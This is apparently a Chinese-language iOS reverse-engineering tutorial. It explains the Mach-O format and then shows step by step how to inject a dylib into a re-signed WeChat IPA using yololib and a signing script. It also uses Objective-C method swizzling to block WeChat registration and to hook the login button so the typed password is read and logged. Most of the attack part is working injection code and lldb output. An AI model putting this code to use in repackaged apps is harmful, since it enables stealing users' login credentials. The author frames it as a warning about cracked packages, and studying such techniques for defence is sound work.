《iOS底层原理文章汇总》
1.运行上节课的WeChat程序,ViewController中的代码不会执行,因为MachO文件中的整个都被替换了,Product目录下WeChat.app中显示包内容,提取出WeChat.app中的可执行文件WeChat
I.通过MachOViewer分析WeChat可执行文件,由Mach64 Header、Load Commmands、sections、Function Starts、Data in Code Entries、Symbol Table、Dynamic Symbol Table、String Table、Code Signature这几部分组成
可执行文件由dyld进行加载,会读取Header查看是什么样的文件,Load Command中是一些细节信息,分为四大块_PAGEZERO、_TEXT、_DATA、_LINKEDIT,告诉dyld代码段和data段分别在哪
LCMAIN指示main函数在哪儿,LOAD COMMAND知道几乎应用程序的所有信息
II.代码注入思路:WeChat执行WeChat可执行文件,还需要执行WeChat.app包中的frameworks和系统的UIKit,Foundation库等,WeChat.app中依赖包含的Framework andromeda也是一个MachO文件
andromeda通过MachOViewer查看,没有PAGEZERO
微信如何告诉dyld,要加载依赖的Framework的呢?andromeda等。Load COMMANDS中有指示dyld加载andromeda的路径
@rpath是工程根目录Frameworks目录,dyld根据Load Commands中的相应字段去指定的目录去加载framework,
程序启动dyld会根据Load Commands中的LC_LOAD_DYLIB列表去加载frameworks,一个一个去加载动态库
III.要注入代码,可以将要注入的代码包装在动态库中,即若LC_LOAD_DYLIB列表中有要注入的代码的动态库,则动态库就会被执行
A.Framework手动注入
1.在工程中新建动态库,build后显示WeChat.app中的包内容发现CloudHook动态库已经存在于WeChat.app包中
此时查看MachO可执行文件中发现LC_LOAD_DYLIB列表中并没有CloudHook,也就无法执行load方法中的内容
可以通过Xcode查看到CloudHook是一个动态库
要想注入代码生效,需要修改MachO可执行文件
2.通过工具yololib修改MachO可执行文件,再次查看LC_LOAD_DYLIB列表中已经存在CloudHook了
将修改后的MachO可执行文件放入Wechat.ipa中替换掉原来的,重新打包
⓵.将原始的微信8.0.2.ipa包解压到当前目录下生成Payload文件夹中包含WeChat.app包
⓶.用修改好的MachO文件替换原始解压后的WeChat中的MachO文件
⓷.重新打包执行zip -ry WeChata.ipa Payload/生成WeChata.ipa
⓸.用生成的WeChata.ipa替换到原来工程中的微信8.0.2.ipa包,重新运行,注入成功
!!!注意:若运行时程序崩溃报错如下,libsystem_c.dylib strlen,则是Framework的版本号高于手机的系统,调低Framework Target中的版本号就好了
B.Dylib注入
⓵.创建空工程,将微信8.0.2.ipa包放入工程目录下的新建的APP文件夹中
⓶.将shell脚本文件appSign.sh放入工程根目录下
⓷.将appSign.sh文件放入工程Build Phases目录Run Script下
⓸.build后,工程根目录下会生成temp文件夹里面有WeChat.app包
⓹.添加Dylib
⓺.在CloudHook的Build settings中修改Base SDK为iOS,签名Code Signing Identity改为iOS Developer
⓻.拷贝文件到Frameworks中
⓼.通过脚本修改MachO文件,将yololib拷贝到工程根目录下
⓽.修改appSign.sh,build Cloud Target和Dylib注入 Target两个Target,查看libCloudHook.dylib已经拷贝到Frameworks目录中,找到libCloudHook.dylib的路径拷贝到脚本中,通过yololib修改MachO可执行文件的路径
./yololib " APP_BINARY" "Frameworks/libCloudHook.dylib",保存修改后的appSign.sh
⓾.运行,查看类CloudHook中的load方法中的NSLog打印注入成功咯是否显示,通过MachOViewer查看Dylib注入.app显示包内容中的WeChat可执行文件的LC_LOAD_DYLIB列表中是否新增libCloudHook.dylib路径
以上用脚本注入dylib成功,同理,Framework也可以通过脚本注入,只需修改脚本,指明Frameworks的路径为Frameworks/CloudHook.framework/CloudHook
./yololib "$TARGET_APP_PATH/$APP_BINARY" "Frameworks/CloudHook.framework/CloudHook"
2.Method Swizzle方法交换
利用OC的Runtime特性,动态改变SEL(方法编号)和IMP(方法实现)的对应关系,达到OC方法调用流程改变的目的。主要用于OC方法。
在OC中,SEL 和 IMP 之间的关系,就好像一本书的“目录”。
SEL 是方法编号,就像“标题”一样。
IMP是方法实现的真实地址,就像“页码”一样。
他们是一一对应的关系
3.多种Hook方式
1.class_addMethod方式:
利用AddMethod方式,让原始方法可以被调用,不至于因为找不到SEL而崩溃
2.class_replaceMethod方式:
利用class_replaceMethod,直接给原始的方法替换IMP
3.method_setImplementation方式:
利用method_setImplementation,直接重新赋值原始的新的IMP
4.破坏微信注册功能
I.通过lldb调试Debug View Hierarchy,发现微信的注册的控制器WCAccountLoginControlLogic和方法onFirstViewRegister
II.通过runtime修改注册方法,注册被拦截到自己的方法中
+(void)load{
//改变微信的注册
Method oldMethod = class_getInstanceMethod(objc_getClass("WCAccountLoginControlLogic"), @selector(onFirstViewRegister));
Method newMethod = class_getInstanceMethod(self, @selector(my_method));
method_exchangeImplementations(oldMethod, newMethod);
}
-(void)my_method{
NSLog(@"哥么注册不了了!");
}
由此得知谨慎使用第三方插件,会有安全隐患,尤其是破解包
当点击登录时,若要截图密码,该怎么获取密码?
5.窃取登录密码调试分析
A.响应链条
通过lldb调试Debug View Hierarchy发现登录的控制器名字WCAccountMainLoginViewController和响应事件方法名字onNext,通过响应者链一层一层找到textField
(lldb) po [(WCAccountMainLoginViewController *)0x129001e00 view]
>
(lldb) po [(UIView *)0x127e06580 subviews]
<__NSArrayM 0x1d4e56890>(
; layer = ; contentOffset: {0, -64}; contentSize: {414, 393}; adjustedContentInset: {64, 0, 226, 0}>,
>,
>
)
(lldb) po [(UIView *)0x12800a200 subviews]
<__NSArrayM 0x1c40479e0>(
>,
>,
>,
>
)
(lldb) po [(UIView *)0x12c2a75c0 subviews]
<__NSArrayM 0x1d0252b70>(
>
)
(lldb) po [(UIView *)0x12c2a73e0 subviews]
<__NSArrayM 0x1d0252b40>(
>,
>
)
(lldb) po [(UIView *)0x12c29b1c0 subviews]
<__NSArrayM 0x1d4e55ff0>(
>,
>,
>,
>,
>
)
(lldb) po [(UIView *)0x127f8be50 subviews]
<__NSArrayM 0x1d4e576d0>(
; layer = >
)
B.静态分析
代码注入hook登录按钮
+(void)load{
//改变微信的注册
Method oldMethod = class_getInstanceMethod(objc_getClass("WCAccountLoginControlLogic"), @selector(onFirstViewRegister));
Method newMethod = class_getInstanceMethod(self, @selector(my_method));
method_exchangeImplementations(oldMethod, newMethod);
//改变微信的登录
Method oldMethod0 = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
Method newMethod0 = class_getInstanceMethod(self, @selector(my_loginmethod));
method_exchangeImplementations(oldMethod0, newMethod0);
}
-(void)my_method{
NSLog(@"哥么注册不了了!");
}
-(void)my_loginmethod{
NSLog(@"哥么登录不了了!");
}
1.通过class-dump导出WeChat的头文件,class-dump工具能dump出OC所有的类,对象,对象方法,类列表,方法列表,包括成员变量,执行
./class-dump -H WeChat -o ./headers/
,生成headers文件夹并不是源码,是通过读取MachO文件得到的头文件,头文件并没有打包到可执行文件中
!!!此时注意,官网下载的class-dump不能导出OC和Swift混编的可执行文件,需要从https://github.com/AloneMonkey/MonkeyDev/blob/master/bin/class-dump下载,否则会报错Error:Cannot find offset for address 0xd8xxxxx in stringAtAddress
2.Headers文件夹拖入Sublime Text,快速找到
WCAccountMainLoginViewController.h
文件,找到密码输入框WCAccountTextFieldItem *_textFieldUserPwdItem
,往下找WCAccountTextFieldItem
,找到WCBaseTextFieldItem中WCUITextField *m_textField
3.onNext方法没有参数,只有self和_cmd,self表示WCAccountMainLoginViewController
4.lldb调试通过valueForKey获取m_textField的值
(lldb) po [(WCAccountMainLoginViewController *)0x118807a00 valueForKey:@"_textFieldUserPwdItem"]
(lldb) po [(WCAccountTextFieldItem *)0x1d42b0c20 valueForKey:@"m_textField"]
; layer = >
5.代码实现,在onNext的hook方法中通过valueForKey的方式获取密码
[(UITextField *)[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] text]
+(void)load{
//改变微信的注册
Method oldMethod = class_getInstanceMethod(objc_getClass("WCAccountLoginControlLogic"), @selector(onFirstViewRegister));
Method newMethod = class_getInstanceMethod(self, @selector(my_method));
method_exchangeImplementations(oldMethod, newMethod);
//改变微信的登录
Method oldMethod0 = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
Method newMethod0 = class_getInstanceMethod(self, @selector(my_loginmethod));
method_exchangeImplementations(oldMethod0, newMethod0);
}
-(void)my_method{
NSLog(@"哥么注册不了了!");
}
-(void)my_loginmethod{
NSLog(@"密码是:%@",[(UITextField *)[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] text]);
}
5.调用回原来的逻辑,调用原来的方法,发现程序崩溃,WCAccountMainLoginViewController中找不到my_loginmethod方法,
'-[WCAccountMainLoginViewController my_loginmethod]: unrecognized selector sent to instance 0x11c805400'
-(void)my_loginmethod{
NSLog(@"密码是:%@",[(UITextField *)[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] text]);
//调用回原来的逻辑
//调用原来的方法
[self my_loginmethod];
//objc_msgSend()
}
方法断点后,进入汇编分析进入方法objc_msgSend方法,查看x0和x1寄存器的值,此时WCAccountMainLoginViewController类中并没有my_loginmethod方法,方法交换后,只是改变了方法的指向,类中并没有新增方法,故报错,有三种解决办法
让被hook的类中包含有交换的selector,最简单的方式是新建分类,不用分类的情况下,可以通过runtime添加方法
- I.通过给类添加方法后交换,程序能正常运行,调用原来的方法
+(void)load{
//改变微信的登录
//原始的Method
Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
//WC添加新方法
class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), new_onNext,"v@:");
//交换
method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));
}
void new_onNext(id self,SEL _cmd){
NSLog(@"密码是:%@",[(UITextField *)[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] text]);
//调用回原来的逻辑
//调用原来的方法
[self performSelector:@selector(new_onNext)];
//objc_msgSend()
}
- 2.通过替换原来的方法class_replaceMethod
+(void)load{
//改变微信的登录
//原始的Method
Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
IMP old_onNext = class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), new_onNext, "v@:");
}
//原来的IMP
IMP (*old_onNext)(id self,SEL _cmd);
void new_onNext(id self,SEL _cmd){
NSLog(@"密码是:%@",[(UITextField *)[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] text]);
//调用回原来的逻辑
//调用原来的方法
old_onNext(self,_cmd);
//objc_msgSend()
}
3.通过Method的method_getImplementation和method_setImplementation方法将原始的onNext存起来后替换为新的new_onNext,后执行原始的
+(void)load{
//改变微信的登录
//原始的Method
old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
method_setImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)), new_onNext);
}
//原来的IMP
IMP (*old_onNext)(id self,SEL _cmd);
void new_onNext(id self,SEL _cmd){
NSLog(@"密码是:%@",[(UITextField *)[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] text]);
//调用回原来的逻辑
//调用原来的方法
old_onNext(self,_cmd);
//objc_msgSend()
}